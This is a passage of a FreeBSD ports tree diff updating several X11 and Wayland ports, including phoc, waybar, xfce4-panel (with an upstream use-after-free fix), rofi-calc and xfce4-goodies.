@@ PORTNAME= phoc DISTVERSIONPREFIX= v -DISTVERSION= 0.26.0 -PORTREVISION= 1 +DISTVERSION= 0.27.0 CATEGORIES= x11-wm wayland MAINTAINER= jbeich@FreeBSD.org @@ -21,20 +20,29 @@ LIB_DEPENDS= libjson-glib-1.0.so:devel/json-glib \ libxkbcommon.so:x11/libxkbcommon RUN_DEPENDS= ${LOCALBASE}/share/glib-2.0/schemas/org.gnome.mutter.gschema.xml:x11-wm/mutter -USES= compiler:c11 gl gnome meson pkgconfig python:build shebangfix xorg +USES= compiler:c11 gettext gl gnome meson pkgconfig python:build shebangfix xorg USE_GITLAB= yes USE_GL= glesv2 USE_GNOME= cairo gnomedesktop3 USE_XORG= pixman xcb GL_SITE= https://gitlab.gnome.org GL_ACCOUNT= World/Phosh -GL_COMMIT= 28d718ac3c1323f591481de4f90e9888edf4da10 +GL_COMMIT= 9700f0cec7415af8da648e3bd8b8eb0c72ff4af4 GL_TUPLE= https://gitlab.gnome.org:guidog:gmobile:ff854988bff80f2d4c1181ccf3c94b032603b6f9:gmobile/subprojects/gmobile SHEBANG_FILES= build-aux/post_install.py MESON_ARGS= -Dembed-wlroots=disabled CFLAGS+= -Wno-error=format-nonliteral # clang -PLIST_FILES= bin/${PORTNAME} +PLIST_FILES= bin/${PORTNAME} \ + share/applications/sm.puri.Phoc.desktop \ + share/icons/hicolor/symbolic/apps/sm.puri.Phoc.svg GLIB_SCHEMAS= sm.puri.phoc.gschema.xml +OPTIONS_DEFINE= MANPAGES +OPTIONS_DEFAULT=MANPAGES + +MANPAGES_BUILD_DEPENDS= rst2man:textproc/py-docutils +MANPAGES_MESON_TRUE= man +MANPAGES_PLIST_FILES= man/man1/${PORTNAME}.1.gz + .include "${.CURDIR:H:H}/x11-toolkits/wlroots015/override.mk" .include diff --git a/x11-wm/phoc/distinfo b/x11-wm/phoc/distinfo index d4146c9c757..162cd8d01cb 100644 --- a/x11-wm/phoc/distinfo +++ b/x11-wm/phoc/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1680253335 -SHA256 (World/Phosh-phoc-28d718ac3c1323f591481de4f90e9888edf4da10_GL0.tar.gz) = f26030b3c5f715c7107b116cba73243d1d16baaf50e89627f1818bd1a1380e00 -SIZE (World/Phosh-phoc-28d718ac3c1323f591481de4f90e9888edf4da10_GL0.tar.gz) = 238918 +TIMESTAMP = 1682868226 +SHA256 (World/Phosh-phoc-9700f0cec7415af8da648e3bd8b8eb0c72ff4af4_GL0.tar.gz) = aadea4aed4a12cf545656f710627d153009ff06a736d9fa89e5e50e9d2a9aaf2 +SIZE (World/Phosh-phoc-9700f0cec7415af8da648e3bd8b8eb0c72ff4af4_GL0.tar.gz) = 248585 SHA256 (guidog-gmobile-ff854988bff80f2d4c1181ccf3c94b032603b6f9_GL0.tar.gz) = 71faa5e30a363e7abb6c38e335f00b425288995033dedeeb1e4573474269c6a1 SIZE (guidog-gmobile-ff854988bff80f2d4c1181ccf3c94b032603b6f9_GL0.tar.gz) = 22316 diff --git a/x11-wm/windowmaker/Makefile b/x11-wm/windowmaker/Makefile index cebd3d7d769..5d342eb4156 100644 --- a/x11-wm/windowmaker/Makefile +++ b/x11-wm/windowmaker/Makefile @@ -1,6 +1,6 @@ PORTNAME= windowmaker PORTVERSION= 0.95.9 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= x11-wm windowmaker MASTER_SITES= http://windowmaker.org/pub/source/release/ DISTNAME= WindowMaker-${PORTVERSION} diff --git a/x11-wm/xfce4-panel/Makefile b/x11-wm/xfce4-panel/Makefile index f7b8c1a2aa5..797080a0eff 100644 --- a/x11-wm/xfce4-panel/Makefile +++ b/x11-wm/xfce4-panel/Makefile @@ -1,5 +1,6 @@ PORTNAME= xfce4-panel PORTVERSION= 4.18.3 +PORTREVISION= 1 CATEGORIES= x11-wm xfce MASTER_SITES= XFCE DIST_SUBDIR= xfce4 diff --git a/x11-wm/xfce4-panel/files/patch-upstream-crash-fix b/x11-wm/xfce4-panel/files/patch-upstream-crash-fix new file mode 100644 index 00000000000..160b26daa43 --- /dev/null +++ b/x11-wm/xfce4-panel/files/patch-upstream-crash-fix @@ -0,0 +1,50 @@ +From 3bf948cc2618632aaaaabefae1b1be50d5a607c3 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Ga=C3=ABl=20Bonithon?= +Date: Sun, 16 Apr 2023 17:55:54 +0200 +Subject: [PATCH] tasklist: Fix use-after-free on tasklist child + +This was running smoothly since 2010 but the update to GLib 2.76, which +makes g_slice_free() a simple wrapper around g_free_sized(), revealed +this bug. + +Fixes: #730 +(cherry picked from commit a5a289ede6c2175b97059ead5d63a59dbde04ea0) +--- + plugins/tasklist/tasklist-widget.c | 14 +++++++++++++- + 1 file changed, 13 insertions(+), 1 deletion(-) + +diff --git a/plugins/tasklist/tasklist-widget.c b/plugins/tasklist/tasklist-widget.c +index 24dfdb7db..c0095d70d 100644 +--- plugins/tasklist/tasklist-widget.c ++++ plugins/tasklist/tasklist-widget.c +@@ -1501,6 +1501,15 @@ xfce_tasklist_scroll_event (GtkWidget *widget, + + + ++static gboolean ++xfce_tasklist_free_child (gpointer data) ++{ ++ g_slice_free (XfceTasklistChild, data); ++ return FALSE; ++} ++ ++ ++ + static void + xfce_tasklist_remove (GtkContainer *container, + GtkWidget *widget) +@@ -1528,7 +1537,10 @@ xfce_tasklist_remove (GtkContainer *container, + if (child->pixbuf != NULL) + g_object_unref (child->pixbuf); + +- g_slice_free (XfceTasklistChild, child); ++ /* allow time for signal handlers connected to the destroy/dispose signals of ++ * child members to run, they could refer to these members via child, e.g. ++ * child->button as above to test for equality */ ++ g_idle_add (xfce_tasklist_free_child, child); + + /* queue a resize if needed */ + if (G_LIKELY (was_visible)) +-- +GitLab + diff --git a/x11/hyprpaper/Makefile b/x11/hyprpaper/Makefile index f037808c149..1d5e15833ec 100644 --- a/x11/hyprpaper/Makefile +++ b/x11/hyprpaper/Makefile @@ -28,7 +28,7 @@ post-patch: @${REINPLACE_CMD} -i .nogit -e '/Get git info/,/^#$$/d' \ -e 's/$${GIT_BRANCH}/main/' \ -e 's/$${GIT_COMMIT_HASH}/${GH_TAGNAME}/' \ - -e 's/$${GIT_COMMIT_MESSAGE}/?/' \ + -e '/$${GIT_COMMIT_MESSAGE}/d' \ -e 's/$${GIT_DIRTY}/portbld/' \ ${WRKSRC}/CMakeLists.txt # https://clang.llvm.org/cxx_status.html#cxx23 diff --git a/x11/hyprpicker/Makefile b/x11/hyprpicker/Makefile index 181e78316eb..487e3fced9e 100644 --- a/x11/hyprpicker/Makefile +++ b/x11/hyprpicker/Makefile @@ -33,7 +33,7 @@ post-patch: @${REINPLACE_CMD} -i .nogit -e '/Get git info/,/^#$$/d' \ -e 's/$${GIT_BRANCH}/main/' \ -e 's/$${GIT_COMMIT_HASH}/${GH_TAGNAME}/' \ - -e 's/$${GIT_COMMIT_MESSAGE}/?/' \ + -e '/$${GIT_COMMIT_MESSAGE}/d' \ -e 's/$${GIT_DIRTY}/portbld/' \ ${WRKSRC}/CMakeLists.txt # https://clang.llvm.org/cxx_status.html#cxx23 diff --git a/x11/kitty/Makefile b/x11/kitty/Makefile index 7e959c94acc..267b81f1518 100644 --- a/x11/kitty/Makefile +++ b/x11/kitty/Makefile @@ -74,6 +74,10 @@ _EMPTY_DIRS= kittens/choose kittens/diff kittens/unicode_input kittens kitty .include +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=invalid-utf8 -Winvalid-utf8 +.endif + .if ${ARCH} == powerpc64 || ${ARCH:Mriscv64*} MAKE_ENV+= KITTY_NO_LTO=1 .endif diff --git a/x11/py-pyscreenshot/Makefile b/x11/py-pyscreenshot/Makefile index 4d0fdcee276..7b5276421de 100644 --- a/x11/py-pyscreenshot/Makefile +++ b/x11/py-pyscreenshot/Makefile @@ -1,6 +1,6 @@ PORTNAME= pyscreenshot PORTVERSION= 0.5.1 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= x11 python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/x11/rofi-calc/Makefile b/x11/rofi-calc/Makefile index 72736fb0092..a0d6a39bc61 100644 --- a/x11/rofi-calc/Makefile +++ b/x11/rofi-calc/Makefile @@ -1,7 +1,6 @@ PORTNAME= rofi-calc DISTVERSIONPREFIX= v -DISTVERSION= 2.1.0 -PORTREVISION= 1 +DISTVERSION= 2.2.0 CATEGORIES= x11 MAINTAINER= vidar@karlsen.tech diff --git a/x11/rofi-calc/distinfo b/x11/rofi-calc/distinfo index cf7a1c0cbaa..96b77921cd0 100644 --- a/x11/rofi-calc/distinfo +++ b/x11/rofi-calc/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1644399180 -SHA256 (svenstaro-rofi-calc-v2.1.0_GH0.tar.gz) = 41ee44da25954794095823fac93a20dc0fbfb2bdb59608125f436ac5f184dc51 -SIZE (svenstaro-rofi-calc-v2.1.0_GH0.tar.gz) = 1695556 +TIMESTAMP = 1682716134 +SHA256 (svenstaro-rofi-calc-v2.2.0_GH0.tar.gz) = 64fbfaaa22a092d2d7fede20ff95942a912b27c6264785126fb054dfbe54c5b4 +SIZE (svenstaro-rofi-calc-v2.2.0_GH0.tar.gz) = 1695821 diff --git a/x11/waybar/Makefile b/x11/waybar/Makefile index 6c04d477049..db5b07e2dcd 100644 --- a/x11/waybar/Makefile +++ b/x11/waybar/Makefile @@ -20,7 +20,7 @@ LIB_DEPENDS= libdate-tz.so:devel/date \ libxkbregistry.so:x11/libxkbcommon TEST_DEPENDS= catch>0:devel/catch -FLAVORS= default hyprland nopulse +FLAVORS= default hyprland hyprland_nopulse nopulse CONFLICTS_INSTALL= ${PORTNAME}* USES= compiler:c++17-lang gnome meson pkgconfig @@ -33,7 +33,7 @@ PLIST_FILES= bin/${PORTNAME} \ etc/xdg/${PORTNAME}/config \ etc/xdg/${PORTNAME}/style.css -.if ${FLAVOR:U} == hyprland +.if ${FLAVOR:U:Mhyprland*} # https://gitlab.freedesktop.org/wayland/wayland-protocols/-/merge_requests/40 MESON_ARGS+= -Dexperimental=true .endif @@ -46,7 +46,7 @@ SUB_FILES+= date.pc OPTIONS_DEFINE= DBUS EVDEV GLS ICONSFONT JACK MANPAGES MPD MPRIS PULSEAUDIO SNDIO UDEV UPOWER OPTIONS_DEFAULT=DBUS EVDEV GLS ICONSFONT JACK MANPAGES MPD MPRIS PULSEAUDIO SNDIO UDEV UPOWER -.if ${FLAVOR:U} == nopulse +.if ${FLAVOR:U:M*nopulse} OPTIONS_EXCLUDE=PULSEAUDIO .endif @@ -144,7 +144,7 @@ post-patch: # Respect PREFIX for icons @${REINPLACE_CMD} 's,/usr/share,${DATADIR:H},' \ ${WRKSRC}/src/modules/wlr/taskbar.cpp -.if ${FLAVOR:U} == hyprland +.if ${FLAVOR:U:Mhyprland*} # Use hyprctl to switch workspaces @${REINPLACE_CMD} 's/zext_workspace_handle_v1_activate(workspace_handle_);/const std::string command = "hyprctl dispatch workspace " + name_;\n\tsystem(command.c_str());/g' \ ${WRKSRC}/src/modules/wlr/workspace_manager.cpp diff --git a/x11/xdg-desktop-portal-hyprland/Makefile b/x11/xdg-desktop-portal-hyprland/Makefile index 1a4da0938ca..3683d9fa6fb 100644 --- a/x11/xdg-desktop-portal-hyprland/Makefile +++ b/x11/xdg-desktop-portal-hyprland/Makefile @@ -43,10 +43,9 @@ SLURP_DESC= Simple output chooser SLURP_RUN_DEPENDS= slurp:x11/slurp .ifdef GH_TUPLE -post-install: -# XXX USES=meson invokes ninja directly, so doesn't support --skip-subprojects - @${RM} -r ${STAGEDIR}${PREFIX}/share/hyprland-protocols - @${RM} -r ${STAGEDIR}${PREFIX}/share/pkgconfig +post-configure: + @${REINPLACE_CMD} 's/meson install/& \ + --skip-subprojects/' ${BUILD_WRKSRC}/build.ninja .endif .include diff --git a/x11/xfce4-goodies/Makefile b/x11/xfce4-goodies/Makefile index 1271b32c48c..8d66de48378 100644 --- a/x11/xfce4-goodies/Makefile +++ b/x11/xfce4-goodies/Makefile @@ -1,6 +1,6 @@ PORTNAME= xfce4-goodies PORTVERSION= 4.18 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= x11 MAINTAINER= xfce@FreeBSD.org @@ -32,14 +32,15 @@ OPTIONS_EXCLUDE_riscv64sf= BATTERY OPTIONS_GROUP= APPLICATIONS PANELPLUGINS THUNARPLUGINS UNOFFICIAL -OPTIONS_GROUP_APPLICATIONS= DASHBOARD DICTIONARY GIGOLO MIDORI PAROLE \ - POWERMANAGER RISTRETTO SCREENSHOOTER \ - TASKMANAGER TERMINAL VOLUMEDPULSE XFBURN \ - XFMPC SCREENSAVER +OPTIONS_GROUP_APPLICATIONS= DASHBOARD DICTIONARY GIGOLO MIDORI MIXER \ + PAROLE POWERMANAGER RISTRETTO SCREENSAVER \ + SCREENSHOOTER TASKMANAGER TERMINAL VOLUMEDPULSE \ + XFBURN XFMPC DASHBOARD_DESC= GNOME shell like dashboard for the Xfce desktop DICTIONARY_DESC= Xfce4 plugin to query different dictionaries GIGOLO_DESC= Frontend to easily manage filesystem connections MIDORI_DESC= Lightweight web browser using WebKit engine +MIXER_DESC= Volume control for the Xfce desktop PAROLE_DESC= Lightweight media player based on GStreamer POWERMANAGER_DESC= Power manager for the Xfce Desktop RISTRETTO_DESC= Image viewer with Xfce integration @@ -55,6 +56,7 @@ DASHBOARD_RUN_DEPENDS= xfce4-dashboard>=0:x11/xfce4-dashboard DICTIONARY_RUN_DEPENDS= xfce4-dict-plugin>=0:textproc/xfce4-dict-plugin GIGOLO_RUN_DEPENDS= gigolo>=0:sysutils/gigolo MIDORI_RUN_DEPENDS= midori>=0:www/midori +MIXER_RUN_DEPENDS= xfce4-mixer>=0:audio/xfce4-mixer PAROLE_RUN_DEPENDS= parole>=0:multimedia/xfce4-parole POWERMANAGER_RUN_DEPENDS= xfce4-power-manager>=0:sysutils/xfce4-power-manager RISTRETTO_RUN_DEPENDS= ristretto>=0:graphics/ristretto diff --git a/x11/xlockmore/Makefile b/x11/xlockmore/Makefile index 1ec63cd1777..f9c6229343b 100644 --- a/x11/xlockmore/Makefile +++ b/x11/xlockmore/Makefile @@ -1,5 +1,6 @@ PORTNAME= xlockmore PORTVERSION= 5.71 +PORTREVISION= 1 CATEGORIES= x11 MASTER_SITES= http://www.sillycycle.com/xlock/ \ SF/bsdsrc/${.CURDIR:T}